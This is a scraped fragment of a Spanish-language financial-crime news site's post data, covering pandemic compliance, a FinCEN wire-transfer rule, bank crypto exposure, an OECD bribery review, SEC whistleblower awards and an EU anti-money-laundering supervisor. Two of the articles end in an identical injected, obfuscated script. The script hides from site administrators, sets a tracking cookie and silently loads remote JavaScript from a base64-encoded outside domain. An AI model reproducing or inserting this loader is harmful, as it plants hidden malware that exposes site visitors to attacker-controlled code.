habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the 